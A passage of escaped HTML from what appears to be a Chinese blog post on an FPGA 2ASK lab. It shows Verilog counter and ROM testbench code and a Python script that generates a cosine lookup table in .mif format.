class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E5%88%86%E9%A2%91%E4%BB%BF%E7%9C%9F.png\"/\u003e\u003ch3 id=\"2-载波产生模块\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#2-%E8%BD%BD%E6%B3%A2%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97\" class=\"headerlink\" title=\"2. 载波产生模块\"\u003e\u003c/a\u003e2. 载波产生模块\u003c/h3\u003e\u003cp\u003e载波产生模块示意图:\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%BD%BD%E6%B3%A2%E4%BA%A7%E7%94%9F%E6%A8%A1%E5%9D%97.png\"/\u003e\u003cblockquote\u003e\u003cp\u003e载波产生模块示意图如上图所示,其中clock为载波采样时钟,q[2:0]为计数器输出,q[7:0]输出为载波信号。载波产生模块由一个计数器和一个ROM构成,其中ROM中存储着一个载波周期的样点值,则计数器的进制设置为一个载波周期包含的样点数。本实验中一个载波周期取八个样点,计数器设置为八进制计数器,ROM和计数器均可使用IP核实现。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e结合示意图可以知道,载波产生模块又分为两部分:\u003cstrong\u003e八进制计数器\u003c/strong\u003e和\u003cstrong\u003eROM\u003c/strong\u003e。分开来写。\u003c/p\u003e\u003ch4 id=\"1)-八进制计数器\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#1%EF%BC%89-%E5%85%AB%E8%BF%9B%E5%88%B6%E8%AE%A1%E6%95%B0%E5%99%A8\" class=\"headerlink\" title=\"1) 八进制计数器\"\u003e\u003c/a\u003e1) 八进制计数器\u003c/h4\u003e\u003cp\u003eq 的值每个时钟加1,从0加到7。\u003c/p\u003e\u003cp\u003e\u003ccode\u003elpm_counter0.v\u003c/code\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e lpm_counter0 \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e q \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_lpm_counter0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003elpm_counter0 lpm_counter0_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclk\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eq\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/%E8%AE%A1%E6%95%B0%E5%99%A8%E4%BB%BF%E7%9C%9F.png\"/\u003e\u003ch4 id=\"2)ROM\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#2%EF%BC%89ROM\" class=\"headerlink\" title=\"2)ROM\"\u003e\u003c/a\u003e2)ROM\u003c/h4\u003e\u003cp\u003e使用 \u003cstrong\u003eIP核\u003c/strong\u003e ,照着野火的教程学了学。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.bilibili.com/video/BV17z411i7er/?p=46\"\u003e46-第二十六讲-ROM-IP核的调用(一)_哔哩哔哩_bilibili\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e经过大概分析,可以知道本实验使用 \u003cstrong\u003e单端口ROM\u003c/strong\u003e ,数据为 \u003cstrong\u003e8位宽\u003c/strong\u003e ,地址为 \u003cstrong\u003e3位宽\u003c/strong\u003e ,至少包含 \u003cstrong\u003e8个\u003c/strong\u003e 数据(采样了8个点),使用单时钟。\u003c/p\u003e\u003cp\u003e输出添加一个寄存器会延后两个周期输出。(原来延后一个,经过寄存器再延后一个。)\u003c/p\u003e\u003cp\u003e写操作是时钟的上升沿,读也是时钟的上升沿。\u003c/p\u003e\u003ch5 id=\"产生-mif-文件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E4%BA%A7%E7%94%9F-mif-%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"产生 mif 文件\"\u003e\u003c/a\u003e产生 mif 文件\u003c/h5\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_44939178/article/details/112314742\"\u003ematlab生成.mif文件 产生正弦信号数据_橘子FPGA的博客-CSDN博客_matlab生成正弦信号\u003c/a\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本实验中一个载波周期取八个样点。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e本次使用 \u003ccode\u003epython\u003c/code\u003e 进行生成\u003cdel\u003e(就8个点手写也行\u003c/del\u003e。\u003c/p\u003e\u003cp\u003e根据 \u003ccode\u003e.mif\u003c/code\u003e 文件的格式一句一句打印出来。\u003c/p\u003e\u003cp\u003e一个普通余弦信号周期为 $2\\pi$ ,取样8个点,就是 $cos(2{\\pi}\\times\\frac{x}{8})$ ;\u003c/p\u003e\u003cp\u003e数据位宽为8位,所表示的数据在0~255之间,所以需要将 $cos(2{\\pi}\\times\\frac{x-1}{8})$ 的幅值**-1~+1变化到0~255**。\u003c/p\u003e\u003cp\u003e具体做法是将 $cos(2{\\pi}\\times\\frac{x}{8})\\times128+128$ 。就是将原幅值变换至-128~+128,然后加上128,范围变为0~256。 \u003c/p\u003e\u003cp\u003e\u003ccode\u003epython\u003c/code\u003e 代码:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e mathpi \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e math\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003epifilename \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;sin_8x8.mif\u0026#34;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003efilename\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;w+\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003eencoding\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;utf-8\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;WIDTH=8;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;DEEPTH=8;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;ADDRESS_RADIX=UNS;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;DATA_RADIX=UNS;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;CONTENT BEGIN\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e i \u003cspan class=\"token keyword\"\u003ein\u003c/span\u003e \u003cspan class=\"token builtin\"\u003erange\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003eint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003emath\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ecos\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003epi\u003cspan class=\"token operator\"\u003e*\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e128\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e256\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e x \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e x\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string-interpolation\"\u003e\u003cspan class=\"token string\"\u003ef\u0026#34;\u003c/span\u003e\u003cspan class=\"token interpolation\"\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token string\"\u003e:\u003c/span\u003e\u003cspan class=\"token interpolation\"\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003ex\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token string\"\u003e\\n\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;END;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e效果(如果发现quartus报错就生成一个标准的mif文件然后把下面的复制进去替换:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-mif\" data-language=\"mif\"\u003e\u003ccode class=\"language-mif\"\u003eWIDTH=8;DEEPTH=8;ADDRESS_RADIX=UNS;DATA_RADIX=UNS;CONTENT BEGIN0:2551:2182:1283:374:05:376:1277:218END;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/sin.png\"/\u003e\u003ch5 id=\"生成IP核\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E7%94%9F%E6%88%90IP%E6%A0%B8\" class=\"headerlink\" title=\"生成IP核\"\u003e\u003c/a\u003e生成IP核\u003c/h5\u003e\u003cp\u003e注意深度选择的时候下拉没有8深度的选择,但是可以手动输入。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e)不过我在其他文件调用ip核的时候一直仿真失败emm,所以ip核就直接用了,等我找到问题再看看。\u003c/del\u003e\u003c/p\u003e\u003ch5 id=\"编写代码及仿真\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/5f6b/#%E7%BC%96%E5%86%99%E4%BB%A3%E7%A0%81%E5%8F%8A%E4%BB%BF%E7%9C%9F\" class=\"headerlink\" title=\"编写代码及仿真\"\u003e\u003c/a\u003e编写代码及仿真\u003c/h5\u003e\u003cp\u003e添加IP核,进行仿真。\u003c/p\u003e\u003cp\u003e\u003ccode\u003etestbench\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_lpm_rom\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e address2\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e7\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e q\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e address2 \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e\u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b111\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e3\u0026#39;b000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003eaddress2 \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e address2 \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003ecos_8x8cos_8x8_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eaddress \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e address2 \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclock \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e clk \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eq \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e q \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真波形\u003c/p\u003e\u003cimg src=\"https://yun.ksfu.top/blog/2ASK/cos%E4%BB%BF%E7%9C%9F.png\"/\u003e\u003ch3 id=\"3-m序列产生模块\"\u003e\u003ca 